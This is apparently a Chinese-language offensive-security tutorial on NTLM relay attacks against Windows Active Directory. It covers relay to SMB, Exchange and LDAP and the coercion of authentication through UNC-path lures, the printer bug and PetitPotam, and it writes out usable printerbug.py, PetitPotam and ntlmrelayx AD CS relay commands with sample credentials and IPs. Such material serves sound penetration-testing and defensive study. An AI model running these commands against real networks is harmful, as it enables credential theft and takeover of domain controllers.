NTLMRelay

0x00 相关概念

NTLM hash 和 Net-NTLM hash

1、NTLM hash是指Windows系统下Security Account Manager中保存的用户密码hash。
该hash的生成方法:

1
2
3
将明文口令转换成十六进制的格式
转换成Unicode格式,即在每个字节之后添加0x00
Unicode字符串作MD4加密,生成32位的十六进制数字串

2、Net-NTLM hash是指网络环境下NTLM认证中的hash
NTLM认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下:

1
2
3
4
客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功

在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash,在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法,所以也就存在不同协议的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash。

NTLM Relay

NTLM是一个嵌入式协议,消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等,那ntlm的上层协议是smb的情况下,ntlm_relay就是smb_relay。那如果上层协议是http,我们也可以叫做http_relay,但是都统称ntlm_relay。消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等,那不管上层协议是啥,ntlm的认证总归是type 1,type 2,type3 。所以我们就不局限于之前提到的smb到smb这种relay,可以在一个协议里面提取ntlm认证信息,放进另外一个协议里面,实现跨协议的relay。
Relay的过程就是一个中间人的过程,详细可以看这个图:

0x01 不同的Relay

Relay2SMB

能直接relay到smb服务器,是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令,上传exe到远程命令上执行,dump 服务器的用户hash等等等等)。
主要有两种场景:

  1. 工作组环境
    这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到smb 做了限制。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。
  2. 域环境
    域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)

smbrelayx.py

ntlmrelayx.py

Relay2HTTP

Exchange的认证也是支持NTLM SSP的。我们可以Relay的Exchange,从而收发邮件,代理等等。
这里可以利用利用工具NtlmRelayToEWS

Relay2LDAP

Relay到ldap是在域渗透里面,最好用的一个。Relay可以做什么呢?
1、高权限用户
如果NTLM发起用户在以下用户组

  • Enterprise admins
  • Domain admins
  • Built-in Administrators
  • Backup operators
  • Account operators

那么就可以将任意用户拉进该组,从而使该用户称为高权限用户,比如域管。

2、Write-acl 权限
如果发起者对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)有write-acl 权限,那么就可以在该acl里面添加任意用户,从而使得该用户可以具备dcsync的权限。

3、普通用户权限

在Server2012R2之后,如果没有以上两个权限。可以通过设置基于资源的约束委派。
在NTLM发起者属性msDS-AllowedToActOnBehalfOfOtherIdentity里面添加一条ace,可以让任何机器用户和服务用户可以控制该用户(NTLM发起者),在这里可能需要新增一台Computer账号或者控制一台机器。

在Server2016之后,支持属性msDS-KeyCredentialLink,添加了这个属性以后,就可以利用证书来获取对应主机权限,详细可参考Shadow Credentials

0x02 发起NTLM 请求

那如何去触发请求让目标来请求我们的恶意服务呢?

被动触发

常规方式就是构造一个UNC路径,让我们的目标来访问,如:

1
dir \\hostshare\xx

或者发一个邮件,里面包含一个图片,然后带了unc的路径,如:

1
<img src="\\hostshare\xx">

但是这种触发方式比较被动,不确定什么时候会触发,为了更直接有效的利用,可以看主动触发!

主动触发

多数主动触发需要我们拥有域内成员账号密码。

Exchange

Exchange作为一个高价值目标,默认情况下,Exchange Windows Permissions安全组对安装Exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升。利用Exchange也很有可能直接拿下域控。那如何让Exchange来发起NTLM请求?
CVE-2018-8581
这个漏洞最早是一个SSRF漏洞。可以访问任意用户的邮件。Exp: CVE-2018-8581
利用Relay来直接获取指定用户Hash: Exchange2domain
CVE-2020-17141 /CVE-2020-17143
CVE-2019-1040:这个漏洞其实用了打印机Bug(后面讲),主要是绕过NTLM MIC的防护机制。关于这个漏洞测试,可以用我的脚本CVE-2019-1040

RPC的利用

打印机Bug
一直都说打印机bug,那么打印机bug是什么?
因为这个bug,微软官方认为是正常业务,也不给出补丁。微软的spoolsv.exe注册了一个服务和若干个rpc。允许认证用户远程调用,其中RemoteFindFirstPrinterChangeNotificationEx这个函数运行传进一个unc路径,打印机服务就会去请求该unc路径。由于打印机是以system权限运行的,所以我们访问打印机rpc,迫使打印机服务向我们发起请求拿到的net-ntlm hash机器用户hash
利用printerbug.py, 就可以触发打印机bug,让目标机器像我们指定机器进行回连。使用方式为:

1
python printerbug.py cgdomain.com/test:'1qaz@WSX'@10.211.55.201 10.211.55.2

当然,在没有Exchange的环境下,如果域级别大于2012r2,我们还可以利用RBCD来攻击目标机器。相关利用在这里CVE-2019-1040-dcpwn

PetitPotam
CVE-2021-1675/CVE-2021-34527出了以后,会有很多打印服务被关闭!那没有打印服务的情况下?怎么办?我们还可以使用EFS!

1
加密文件系统(EFS)是微软 Windows 在 NTFS3.0 中引入的一个功能,它提供文件系统级加密。此技术使文件支持透明加密以保护机密数据免受具有物理访问权限的攻击者侵害。EFS从Windows 2000起在所有为商业环境开发的Windows版本中可用.

和之前的printer bug利用类似,EFS的rpc,允许恶意域用户/或机器账号控制其它机器外发认证。
利用:https://github.com/topotam/PetitPotam
Example:

1
python Petitpotam.py -u sanfeng -p '1qaz@WSX' -d cgdomain.com 10.211.55.2 10.211.55.202

0x03 全补丁下的方案

上面讲了Relay到LDAP是一个常用的攻击方式,但是也存在修复的问题。首先Ldap服务器的默认策略是协商签名。而不是强制签名,也就是说是否签名是有客户端决定的。不像CVE-2018-8581,发起的协议是HTTP协议,通过打印机bug和PetitPotam,发起的请求是smb协议的请求,这也意味着我们客户端默认是要求签名的(CVE-2019-1040就是这里的bypass)。所以如果打了补丁,该怎么玩?

AD CS/PKI

再打了补丁的环境下,如果域环境开启了AD CS,我们就可以利用AD CS进行攻击。

1
2
3
4
git clone git clone https://github.com/ExAndroidDev/impacket
cd impacket
git switch ntlmrelayx-adcs-attack
python3 -m pip install .

开启Relay

1
ntlmrelayx.py -t http://192.168.16.11/certsrv/certfnsh.asp -smb2support --adcs

利用打印机bug或者PetitPotam来触发回连。
之后就可以获取到生成的base64的证书

0x04 工具集成

为了方便进行ntlmrelay测试,我把常见的几个利用集成到了一起。工具使用可以查看README,工具地址:RelayX

0x05 参考

  1. https://daiker.gitbook.io/windows-protocol/ntlm-pian
  2. https://github.com/SecureAuthCorp/impacket/pull/1101
  3. https://github.com/topotam/PetitPotam
  4. https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/
------本文结束,感谢阅读------